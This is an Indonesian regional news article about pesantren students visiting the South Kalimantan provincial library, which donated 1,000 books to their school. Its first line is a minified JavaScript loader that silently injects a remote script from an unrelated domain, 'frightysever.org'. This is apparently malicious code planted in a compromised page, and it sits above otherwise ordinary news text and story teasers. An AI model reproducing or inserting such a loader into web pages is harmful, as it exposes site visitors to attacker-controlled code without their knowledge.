(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan A Yani Km 6 didatangi ratusan santri dari Pondok Pesantren Ibnu Athaillah, Desa Kapuh, Kecamatan Simpur, Kabupaten Hulu Sungai Selatan, Senin (15/1).
Santri madrasah diniyah -setingkat SD- Bersama pimpinan Ponpes Ibnu Athaillah KH Muhammad Ridwan Baseri -Guru Kapuh-, memenuhi ruang baca anak di lantai dasar Perpusda Provinsi Kalsel.
Menempuh sekitar 3 jam lebih untuk sampai ke Perpusda di Km 6, para santri dengan 64 armada angkutan umum dan mobil pribadi pengurus inti pesantren dan jajaran MUI HSS mendatangi perpustakaan Pal 6.
KH Muhammad Riduan, pimpinan Ponpes Ibnu Athaillah mengatakan, tujuan mereka datang ke Perpusda Provinsi Kalsel untuk mengajak para santri rekreasi edukasi.
“Para santri senang berada ruang baca anak dan tempat baca lainnya. Saya ke sini juga untuk mencari kitab-kitab klasik zaman dulu,” ujar Ketua MUI Kabupaten HSS ini.
Selain mencari kitab kuning klasik yang umum dan biasa diajarkan di pondok-pondok Salafiyah, Guru Kapuh juga mencari arsip-arsip Islam bersejarah.
WISATA EDUKASI, Santri Pondok Pesantren Ibnu Athaillah saat berada di perpustakaan Pal 6. Hadir bersama mereka KH Muhammad Ridwan Baseri atau biasa disapa Guru Kapuh. Foto : ammar
“Insyaallah nanti di Pondok Pesantren kami juga akan hadir perpustakaan, maka itu perlu buku-buku, makanya kami melihat ke Pal Enam ini,” kata Guru Kapuh.
“Anak-anak santri merasa senang bisa membaca buku sambal liburan di perpustakaan ini, saya cukup kagum adanya arsip-arsip Islam yang masih terjaga,” ujar Guru Kapuh.
Kepala Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan Dra Hj Nurliani Dardie mengatakan, sangat senang sekali ketika para santri Pondok Pesantren Ibnu Athaillah beserta jajaran pengurus MUI HSS berkunjung ke Pal 6.
Kunjungan santri bersama pimpinan Ponpes Ibnu Athaillah ini, pihak Perpustakaan dan Kearsipan Provinsi Kalsel memberikan 1.000 buku untuk mengisi perpustakaan yang akan dibangun di Pondok Pesantren pimpinan Guru Kapuh.
“Senang sekali melihat keceriaan anak-anak santri mampir dan membaca buku di sini,” kata ibu Nunung. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.